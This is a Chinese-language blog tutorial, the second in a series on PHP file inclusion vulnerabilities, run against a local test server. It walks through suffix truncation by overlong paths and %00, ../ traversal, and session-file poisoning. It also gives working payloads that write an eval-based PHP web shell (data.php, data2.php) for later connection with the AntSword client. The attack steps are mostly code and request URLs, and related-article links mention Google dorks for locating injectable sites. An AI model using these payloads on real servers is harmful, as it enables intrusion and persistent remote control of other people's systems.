专栏首页yuancao博客任意文件包含漏洞(2)

任意文件包含漏洞(2)

目录
  • windows系统
    • 1.路径长度绕过
      • 简介
    • 2. ../绕过
    • 2.5 ./
    • 3. %00截断
      • 简介
      • 使用条件
      • 操作
    • 4.session 文件
      • 使用条件
      • 操作
    • 5.错误日志
    • 编码绕过
  • linux系统
    • 路径长度绕过
    • 错误日志

windows系统

1.路径长度绕过

wj.php

<?php
$a=@$_GET['123'];
include($a.'.html');
?>

如果限制了文件类型,比如这里只能包含html后缀的文件,那么就可以使用此方法

简介

操作系统存在最大路径长度的限制。windows系统,文件名最长256个字符,可以输入超过最大路径长度的目录,这样系统就会将后面的路径丢弃,导致扩展名被中途截断

在文件后面加. 如: info.php...........................................................................................................................................................................................................................................................................................html

.超过256个就行,后面多出来的...........................................html不会被识别到

info.php

<?php
phpinfo();
?>

2. …/绕过

有时候会限制文件包含的路径,比如当前路径 ./当前目录 ../上级目录 /根目录

<?php
$a=@$_GET['123'];
include('./'.$a.'.php');
?>

如果说路径长度绕过是为了干掉a后面的'php',那么../就是为了干掉a前面的'./'

2.5 ./

./ 之所以放在2.5的位置 是因为他放的位置不同,作用也不同 如 info.php./././././././……././././././html 则和1 . 的作用一样,绕过后缀

如果是./info.php 则后2../的作用一样,绕过路径(尽管./表示当前路径,默认就是表示包含当前路径的文件,所以加不加都无所谓)

3. %00截断

简介

%00被认为是结束符,后面的数据会被直接忽略,导致扩展名截断。 攻击者可以利用这个漏洞绕过扩展名过滤

和00截断有同样效果的还有:?#(#必须写成%23)

使用条件

(1) magic_quotes_gpc=off (2) PHP<5.3.4

详见此文 https://blog.csdn.net/weixin_45663905/article/details/107559653

操作

scshell.php

<?php fputs(fopen('data.php','w'),'<?php eval($_POST[123])?>');?>

生成了data.php文件

接下来使用蚁剑连接,就不多说了

4.session 文件

使用条件

session文件的内容可控的,而且session文件的保存目录已知,或者保存在默认目录,管理员没有改

可以通过phpinfo()来查找session的路径

操作

sess.php

<?php
session_start();
$ctfs=$_GET['se'];
$_SESSION["username"]=$ctfs;
?>

1.在url里面上输入想加入session的内容

http://127.0.0.1/cy/sess.php?se=<?php fputs(fopen('data2.php','w'),'<?php eval($_POST[123])?>');?>

使用F12,点存储,按cookie,看session

这里4d14ba13dfd1e23c0476a8a887ca5602就是此session的文件名 但是默认有个sess前缀,即应该为sess_4d14ba13dfd1e23c0476a8a887ca5602

查看该session文件

http://127.0.0.1/cy/wj.php?123=../../tmp/tmp/sess_4d14ba13dfd1e23c0476a8a887ca5602%00

发现没什么显示

此时上帝视角,进入tmp目录,发现了sess文件已经写进脚本 啥?你说为啥能访问www目录之外的tmp文件。 php是一门语言,它能访问的不仅仅只是web程序,利用文件里的函数,web程序之外的文件自然也能访问

而且在sess.php同目录下,已经生成了一个data2.php文件,

通过蚁剑连接data2.php文件

5.错误日志

https://blog.csdn.net/weixin_45663905/article/details/108148898

编码绕过

这不算一种独立的绕过方式, 如果在使用上面的方法里,看到过滤了/ ,.,可以使用url编码绕过

/     %2f  
.     %2e

但是在进行编码的时候,发现.编码后还是.,而%2e解码后却成了.,不知道是啥原因 嗯学完这个知识点就去看url编码

linux系统

路径长度绕过

linux系统,文件名最长4096个字符(浏览器最多只能输入300多个字符,所以需要抓包) 前面加././././…………xx.php

错误日志

ssh连接失败,会保存到日志

……

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 任意文件包含漏洞(1)

    文件包含漏洞:即file inclusion 指当服务器开启allow_url_include选项时,就可以通过PHP的某些特性函数(include(),re...

    宸寰客
  • upload-labs第一关

    那再上传一个php文件试试。提示不行,只能上传jpg、png、gif类型的文件,说明这一关考的是限制文件上传的类型

    宸寰客
  • 任意文件包含漏洞(3)——实战某cms

    nginx的默认日志文件是phpstudy/nginx/logs/error.log

    宸寰客
  • mac机上搭建php56/nginx 1.8.x/thinkphp 3.2.x/gearman扩展/seaslog扩展/redis扩展环境

    php的各种扩展配置起来实在不容易,记录一下备忘: 一、php56 安装 虽然php7出来了,但是没用过,不知道有没有坑,这里仍然使用php5.6版本 1.1 ...

    菩提树下的杨过
  • 解决修改 Linux 下的 PHP 环境变量不生效的方法

    这个问题出现服务器有多个 PHP 版本,php -v和phpinfo()显示两个不同的版本

    沈唁
  • Windows 8 IIS中配置PHP运行环境的方法

    这篇文章主要介绍了如何在Windows 8中通过iis8配置php运行环境,需要的朋友可以参考下

    习惯说一说
  • 三日php之路 -- 第一天(初识php)

    以下文字,均以php官方手册为主。 中文简体链接 : http://php.net/manual/zh/

    lpe234
  • Google SQL 注入搜索列表:2018最新版

    这是一个Google注入查询列表(傻瓜式),更新于2018年;根据一些关键字和URL结构,可批量查询出存在安全隐患的站点。

    HACK学习
  • centos 6.8 yum安装 PHP 5.6

    (adsbygoogle = window.adsbygoogle || []).push({});

    双面人
  • 谷歌hacker批量寻找可注入网站

    本次给大家发一些可以提取有注入点的网站的关键词,所利用的 也就是大家所熟悉的谷歌hack技术,下面是部分关键词,工具的话用一些关键词提取工具就好了。

    网e渗透安全部

扫码关注云+社区

领取腾讯云代金券